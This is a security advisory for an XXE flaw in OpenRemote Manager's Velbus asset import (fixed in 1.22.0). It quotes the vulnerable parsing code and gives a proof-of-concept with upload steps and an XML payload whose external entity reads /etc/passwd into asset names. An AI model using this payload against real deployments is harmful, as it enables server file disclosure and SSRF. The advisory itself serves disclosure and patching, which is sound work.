CVE-2026-40882: OpenRemote has XXE in Velbus Asset Import
Summary The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Published Apr 15, 2026 · Updated Apr 27, 2026
Affected packages
io.openremote:openremote-manager
- Ecosystem
- Maven
- Affected
- <= 1.21.0
- Fixed in
- 1.22.0
- Check
mvn dependency:tree -Dincludes=io.openremote:openremote-manager
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Details
Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.
@Override
public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {
return executorService.submit(() -> {
Document xmlDoc;
try {
String xmlStr = new String(fileData, StandardCharsets.UTF_8);
LOG.info("Parsing VELBUS project file");
xmlDoc = DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(xmlStr)));Expanded Caption content is propagated into created asset names:
String name = module.getElementsByTagName("Caption").item(0).getTextContent();
name = isNullOrEmpty(name) ? deviceType.toString() : name;
// TODO: Use device specific asset types
Asset<?> device = new ThingAsset(name);PoC
- Log in to a realm with a user that can call Velbus asset import.
- Create/select a Velbus TCP Agent in that same realm.
- Send
POST /api/{realm}/agent/assetImport/{agentId}with a Velbus project XML payload and compare behavior against a baseline import file. - Save the below code as a
xxe.xmland upload toSetupunderhttps://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage thefile:///etc/passwdto another file if yourpasswdis longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
<Module type="VMB1RY" address="01" build="00" serial="LAB">
<Caption>&xxe;</Caption>
</Module>
</Project>As long as the file content is under 1023 characters, the exploit will succeed.
If the file content reaches the limit, an error is thrown.
Impact
- Type: XML External Entity (XXE)
- Affected: Deployments exposing Velbus import to authenticated users with import access
- Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.
Credited to KKC73.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Maven vulnerabilities
All Maven entriesCVE-2026-104885
OpenRemote: Cross-realm MQTT session disconnect without authorization
medium6.3Nov 20, 2026CVE-2026-49439
OpenRemote read-only asset users can write predicted datapoints
medium4.3Jul 6, 2026CVE-2026-54641
OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl
high7.7Jul 6, 2026GHSA-cgfv-jrfp-2r7v
OpenRemote has Authenticated SQL Injection via Datapoint Crosstab Export
high7.2Jul 6, 2026CVE-2026-56120
OpenRemote Manager: removeAlarms cross-realm IDOR (bulk delete)
critical9.6Jun 19, 2026CVE-2026-41166
OpenRemote has Improper Access Control via updateUserRealmRoles function
high7.0Apr 22, 2026
